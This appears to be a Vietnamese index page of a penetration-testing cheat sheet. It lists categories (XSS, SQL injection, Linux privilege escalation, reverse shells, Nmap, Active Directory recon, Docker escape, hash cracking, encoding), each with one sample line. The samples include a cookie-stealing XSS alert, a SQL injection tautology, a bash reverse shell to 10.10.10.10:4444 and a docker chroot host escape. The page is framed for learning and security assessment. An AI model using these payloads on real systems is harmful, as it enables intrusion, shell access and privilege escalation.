Bộ sưu tập các payload tấn công, câu lệnh quản trị hệ thống và kỹ thuật bypass WAF tra cứu nhanh phục vụ học tập và đánh giá an toàn thông tin.
Tổng hợp các payload XSS cơ bản đến nâng cao bao gồm Reflected, Stored, DOM-based XSS và kỹ thuật bypass Filter/WAF.
<script>alert(document.cookie)</script>Khai thác lỗ hổng tiêm mã SQL: UNION-based, Error-based, Blind Boolean, Time-based SQLi trên MySQL, PostgreSQL & MSSQL.
' OR '1'='1' --Danh sách lệnh liệt kê hệ thống, kiểm tra quyền SUID/SGID, sudo -l, capabilities và cron jobs để leo thang Root.
uname -a; cat /etc/issue; cat /etc/os-releaseCác câu lệnh 1 dòng tạo kết nối Reverse Shell bằng Bash, Python, Netcat, PHP, Perl và OpenSSL.
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1Hướng dẫn sử dụng cờ quét Nmap: SYN Scan, UDP Scan, Script Engine (NSE), OS Detection và Evasion.
nmap -sS -sV -p- -T4 192.168.1.1Lệnh tra cứu người dùng domain, SPN, Kerberoasting, AS-REP Roasting và BloodHound recon.
Get-DomainUser -Identity usernameChecklist rà soát lỗ hổng Docker container, Privilege Escalation từ docker group và container escape.
docker run -it -v /:/host/ ubuntu chroot /host/Nhận diện loại Hash (MD5, SHA-1, SHA-256, bcrypt) và kỹ thuật crack bằng Hashcat, John the Ripper với các attack modes phổ biến.
hashid -m '5f4dcc3b5aa765d61d8327deb882cf99'Bảng tra cứu nhanh các kỹ thuật mã hóa/giải mã Base64, URL Encoding, Hex, HTML Entity, JWT decode và Cyberchef.
echo -n 'admin:password123' | base64
# Output: YWRtaW46cGFzc3dvcmQxMjM=